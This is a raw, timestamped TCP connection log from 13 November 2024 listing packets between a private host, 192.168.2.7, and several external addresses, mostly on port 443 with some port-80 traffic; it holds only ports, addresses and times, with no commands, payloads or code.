Nov 13, 2024 14:41:25.048178911 CET	49799	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.048186064 CET	443	49799	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.050151110 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.050221920 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.050354958 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.050479889 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.050496101 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.050514936 CET	49798	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.050520897 CET	443	49798	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.050565004 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.050725937 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.050779104 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.051592112 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.051600933 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.051626921 CET	49790	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.051634073 CET	443	49790	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.068269014 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.068346977 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.068568945 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.069255114 CET	49801	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.069294930 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.069411993 CET	49801	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.073393106 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.073393106 CET	49789	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.073404074 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.073412895 CET	443	49789	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.075506926 CET	49801	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.075529099 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.076963902 CET	49802	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.076988935 CET	443	49802	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.077275991 CET	49802	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.077621937 CET	49802	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.077636003 CET	443	49802	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.078252077 CET	49803	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.078273058 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.078406096 CET	49803	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.097904921 CET	49803	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.097929955 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.103015900 CET	49805	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.103054047 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.103247881 CET	49805	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.103416920 CET	49805	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.103432894 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.164459944 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:25.167535067 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:25.167556047 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:25.168617010 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:25.168690920 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:25.172112942 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:25.172187090 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:25.172264099 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:25.215332985 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:25.284967899 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:25.284986973 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:25.388246059 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:25.407982111 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:25.445069075 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:25.445300102 CET	443	49793	94.245.104.56	192.168.2.7
Nov 13, 2024 14:41:25.445364952 CET	49793	443	192.168.2.7	94.245.104.56
Nov 13, 2024 14:41:25.759238005 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.766000986 CET	49800	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.766022921 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.766690016 CET	49800	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.766696930 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.809181929 CET	443	49802	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.815768003 CET	49802	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.815810919 CET	443	49802	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.816379070 CET	49802	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.816386938 CET	443	49802	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.840670109 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.841187000 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.846725941 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.850728035 CET	49805	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.850769997 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.850919008 CET	49803	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.850954056 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.851180077 CET	49805	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.851186037 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.851433992 CET	49803	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.851438999 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.851757050 CET	49801	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.851769924 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.852121115 CET	49801	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.852124929 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.890161037 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.890239000 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.890291929 CET	49800	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.900044918 CET	49800	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.900044918 CET	49800	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.900065899 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.900074959 CET	443	49800	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.930994034 CET	49809	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.931025028 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.931087971 CET	49809	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.933762074 CET	49809	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.933773041 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.941688061 CET	443	49802	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.941848040 CET	443	49802	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.941903114 CET	49802	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.944039106 CET	49802	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.944050074 CET	443	49802	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.963186979 CET	49810	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.963227034 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.963284016 CET	49810	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.963771105 CET	49810	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.963787079 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.977473021 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.977564096 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.977608919 CET	49803	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.978060961 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.978529930 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.978585958 CET	49805	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.978650093 CET	49805	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.978666067 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.978694916 CET	49805	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.978699923 CET	443	49805	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.979718924 CET	49803	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.979732990 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.979742050 CET	49803	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.979747057 CET	443	49803	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.982892990 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.983052015 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.983110905 CET	49801	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.988903046 CET	49801	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.988914967 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:25.988925934 CET	49801	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:25.988929987 CET	443	49801	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.057382107 CET	49811	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.057434082 CET	443	49811	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.057502985 CET	49811	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.068749905 CET	49812	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.068802118 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.068866014 CET	49812	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.101286888 CET	49812	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.101321936 CET	49811	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.101331949 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.101365089 CET	443	49811	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.102895975 CET	49813	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.102957010 CET	443	49813	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.103014946 CET	49813	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.103157997 CET	49813	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.103171110 CET	443	49813	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.300628901 CET	49677	443	192.168.2.7	20.50.201.200
Nov 13, 2024 14:41:26.677414894 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.694772959 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.696542978 CET	49809	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.696611881 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.697408915 CET	49809	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.697416067 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.700818062 CET	49810	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.700858116 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.701206923 CET	49810	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.701212883 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.717539072 CET	80	49761	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:26.717618942 CET	49761	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:26.821250916 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:26.821296930 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:26.822484970 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:26.822834969 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:26.822853088 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:26.828728914 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.828803062 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.828905106 CET	49810	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.833204985 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.833944082 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.834135056 CET	49809	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.837107897 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.838433981 CET	443	49811	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.839332104 CET	443	49813	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.940428019 CET	49813	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.940459013 CET	443	49813	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.940876961 CET	49813	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.940882921 CET	443	49813	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.941181898 CET	49810	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.941181898 CET	49810	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.941236019 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.941250086 CET	443	49810	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.943691015 CET	49809	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.943736076 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.943757057 CET	49809	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.943769932 CET	443	49809	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.945024967 CET	49812	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.945044994 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.945772886 CET	49812	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.945777893 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.955951929 CET	49811	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.955992937 CET	443	49811	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:26.956387997 CET	49811	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:26.956394911 CET	443	49811	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.067877054 CET	443	49813	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.067975998 CET	443	49813	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.068205118 CET	49813	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.069623947 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.069746971 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.069897890 CET	49812	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.100455999 CET	443	49811	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.100579977 CET	443	49811	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.100666046 CET	49811	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.185863018 CET	49816	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.185930014 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.186176062 CET	49816	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.449398041 CET	49813	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.449424982 CET	443	49813	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.497998953 CET	49812	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.498033047 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.498047113 CET	49812	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.498053074 CET	443	49812	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.499583006 CET	49811	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.499613047 CET	443	49811	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.530286074 CET	49816	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.530302048 CET	443	49816	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.585242033 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.585273027 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.585362911 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.600204945 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:27.600270987 CET	443	49826	18.65.39.56	192.168.2.7
Nov 13, 2024 14:41:27.600327015 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:27.601118088 CET	49826	443	192.168.2.7	18.65.39.56
Nov 13, 2024 14:41:27.601131916 CET	443	49826	18.65.39.56	192.168.2.7
Nov 13, 2024 14:41:27.603296041 CET	49820	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.603308916 CET	443	49820	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.621844053 CET	49828	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.621887922 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.621953964 CET	49828	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.623178959 CET	49828	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.623193979 CET	443	49828	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.623482943 CET	49829	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.623503923 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.623558998 CET	49829	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.623686075 CET	49829	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.623698950 CET	443	49829	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.635622025 CET	49830	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.635660887 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.635730028 CET	49830	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.646575928 CET	49830	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:27.646600962 CET	443	49830	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:27.745985985 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:27.746294022 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:27.746321917 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:27.746876955 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:27.746898890 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:27.746937990 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:27.746948957 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:27.747030973 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:27.747665882 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:27.750735998 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:27.750850916 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:27.750926971 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:27.750937939 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:27.801676989 CET	49761	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:27.802181005 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:27.806665897 CET	80	49761	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:27.807071924 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:27.807141066 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:27.813786983 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:27.848431110 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:27.848498106 CET	49832	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:27.853346109 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:27.853358984 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:27.853512049 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:27.853523016 CET	80	49832	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:27.895416975 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:27.895447969 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:27.895987988 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:27.896739960 CET	49834	443	192.168.2.7	40.126.32.136
Nov 13, 2024 14:41:27.896764994 CET	443	49834	40.126.32.136	192.168.2.7
Nov 13, 2024 14:41:28.008142948 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.008204937 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.008270979 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.008347988 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.012088060 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.012181997 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.012207985 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.021492004 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.021558046 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.021594048 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.030119896 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.030189037 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.030211926 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.039834023 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.039897919 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.039920092 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.048336029 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.048396111 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.048418999 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.057550907 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.057611942 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.057635069 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.075850964 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.075961113 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.076034069 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.132103920 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.132190943 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.132237911 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.137303114 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.137372017 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.137378931 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.145761013 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.145812035 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.145819902 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.154658079 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.154706955 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.154716015 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.164175987 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.164228916 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.164238930 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.172816992 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.172897100 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.172911882 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.181869030 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.181920052 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.181935072 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.191134930 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.191191912 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.191200018 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.200258017 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.200357914 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.200376987 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.201320887 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.201359987 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.201569080 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.201831102 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.201862097 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.201921940 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.202311039 CET	49838	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.202326059 CET	443	49838	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.202667952 CET	49839	443	192.168.2.7	172.64.41.3
Nov 13, 2024 14:41:28.202683926 CET	443	49839	172.64.41.3	192.168.2.7
Nov 13, 2024 14:41:28.208710909 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.208766937 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.208775043 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.216484070 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.216568947 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.216573954 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.224241972 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.224298000 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.224312067 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.232055902 CET	443	49815	142.250.186.97	192.168.2.7
Nov 13, 2024 14:41:28.232142925 CET	49815	443	192.168.2.7	142.250.186.97
Nov 13, 2024 14:41:28.232150078 CET	443	49815	142.250.186.97	192.168.2.7
